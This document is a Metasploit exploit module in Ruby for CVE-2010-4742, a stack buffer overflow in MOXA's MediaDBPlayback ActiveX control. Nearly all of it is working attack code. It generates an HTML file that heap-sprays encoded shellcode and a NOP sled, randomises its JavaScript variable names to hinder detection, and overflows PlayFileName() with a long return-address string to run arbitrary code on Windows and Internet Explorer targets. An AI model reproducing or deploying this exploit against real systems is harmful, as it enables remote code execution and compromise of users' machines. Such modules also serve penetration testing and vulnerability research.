MOXA MediaDBPlayback – ActiveX Control Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'MOXA MediaDBPlayback ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5) an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2010-4742' ], [ 'OSVDB', '68986'], [ 'URL', 'http://www.moxa.com' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0a0a0a0a } ] ], 'DisclosureDate' => 'Oct 19 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <object id ='#{vname}' classid='clsid:5B32067A-121B-49DE-8182-91EB13DDF8D6'></object> <script language ="javascript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{nops}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } #{vname}.PlayFileName = #{rand8}; </script> </html> | print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content) end end |